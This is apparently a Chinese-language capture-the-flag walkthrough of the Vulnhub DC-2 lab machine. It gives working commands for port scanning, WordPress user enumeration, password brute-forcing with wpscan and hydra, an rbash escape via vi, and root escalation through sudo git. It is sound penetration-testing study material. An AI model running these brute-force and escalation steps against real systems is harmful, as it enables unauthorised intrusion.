攻击机:Kali-2021.3:192.168.8.105
靶机:Vulnhub-DC2:192.168.8.222
靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip
首先使用nmap进行主机探活
nmap -sP 192.168.8.0/24
然后逐个扫描,判断出靶机的IP地址
nmap -A -p- 192.168.8.222
发现我们的目标开放了80和7744端口,80端口是默认端口,7744端口是开放了ssh服务
使用whatweb继续寻找相关信息
whatweb 192.168.8.222
然后发现这个网站使用的CMS是WordPress 4.7.10
首先访问一下80端口,发现flag就在下面
这里有点奇怪,网上的大部分教程在这一步都会出现域名无法解析的情况,因为在访问这个网址的时候,直接跳转到了http://dc-2/的域名上了,而我们的本地hosts文件里是没有该域名的解析ip,所以导致无法访问。但是我这里直接就访问成功了,不怎么理解
正常流程是需要在本机的hosts文件中加入指向该域名的ip地址
Windows:
C:/Windows/System32/drivers/etc/hosts
Linux:
/etc/hosts
打开hosts文件后加入下面的内容
192.168.8.222 dc-2
再次访问就能够访问成功了,并找到第一个flag
翻译:
您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。
更多的密码总是更好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以另一个身份登录。
flag1提示中提到cewl,检索一下发现这是一个生成密码字典的工具,很明显这是让我们用这个工具来生成密码来爆破,可是现在我们还没有用户名。
Kali Linux字典生成工具Cewl使用全指南
信息收集里我们已经知道了这个网站的CMS是WordPress,而Kali中自带有一个专门用来扫描该CMS的工具:wpscan
Kali(渗透工具):WPScan的使用(WordPress扫描工具)
wpscan --url http://dc-2 --enumerate u //枚举出用户名
注:这里的url必须使用域名,否则无法扫描
发现一共存在三个用户
将这三个用户存入txt文件中:
echo -e "admin \njerry \ntom" > users.txt
然后通过cewl来生成我们的密码字典
cewl http://dc-2/ -w passwd.txt
注:这里必须使用域名,否则会出错
那么接下来就是爆破了,但爆破前得找到这个网站的登录入口,有两种方法
1、通过浏览器检索关键信息来寻找
2、通过扫描网站后台文件来寻找,这里理论上可以使用御剑来扫后台,前提是你的字典足够大
而我这里则推荐使用Kali中的一款web页面扫描工具:nikto
Nikto详细使用教程
扫描完后可以找到该网站的登录页面的地址
两种方法都可以进入登录页面:
使用wpscan开始爆破
wpscan --url http://dc-2/ -U users.txt -P passwd.txt
成功爆破出了两个账户密码
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
尝试登录,进去后就能找到flag2,除此以外就没什么有用的信息了,两个账号的信息是一样的,没必要登录两次
翻译:
如果您不能利用 WordPress 并走捷径,还有另一种方法。
希望你找到另一个切入点。
提示说我们需要换一个切入点,还记得之前的7744端口吗,这很有可能就是另一个切入点,所以尝试使用刚刚的账号密码登录SSH服务,因为ssh的默认端口是22,因此我们需要在后面加上指定端口,这里在尝试后会发现只有tom账号可以成功登录
ssh [email protected] -p 7744
ssh [email protected] -p 7744
这里如果前提是不知道账号密码的话,可以使用hydra进行ssh破解
hydra 192.168.8.222 -L users.txt -P passwd.txt -s 7744 ssh
这个工具的破解所花的时间比较久,得耐心等会
然后连接tom账号的ssh服务,成功登录!
寻找到flag3,但是发现是rbash,就是被限制了的shell
大致限制情况如下:
>, >|, <>, >&, &>, >>
等重定向操作符受限的 bash -- rbash
但是我们依然可以使用vi
或less
命令,所以可以查看到flag3的值
vi flag3.txt
less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
提示中提到了su,这不难理解,既然rbash使我们的权限受到了限制,那我们就得想办法绕过它,然后通过su jerry
切换用户
rbash绕过
通过vi编辑器进行绕过
vi //终端上运行vi编辑器
:set shell=/bin/sh
:shell
然后出来就能看到不是rbash了
然后再设置一下环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
第一条命令的作用是添加根目录的bin文件夹到$PATH
第二条命令的作用和上一条一样,添加usr/bin文件夹到$PATH
里面的冒号只是起分隔作用,并没有其他作用
这样我们就可以使用这些文件夹中的命令了,接下来就是切换用户了
切换成功后发现还是在tom的工作目录上,所以更换工作目录,然后就能很快找到flag4
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
猜测最后一个flag大概率位于root中,所以我们得提权,先来看看SUID提权
查看具有SUID权限的命令
find / -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
发现并没有像DC-1的find命令那样可以用来提权
于是去查看一下具有root权限的命令
sudo -l
发现存在一个免密的git命令(具有root权限)
同时flag4中也提示了git,因此用到了git提权
2022-渗透测试-git提权(Linux)
sudo git help config
!/bin/bash 或 !'sh' //在末尾添加
成功得到了root权限,进入root就能得到flag
靶机测试--DC(2)
dc-2 靶机渗透学习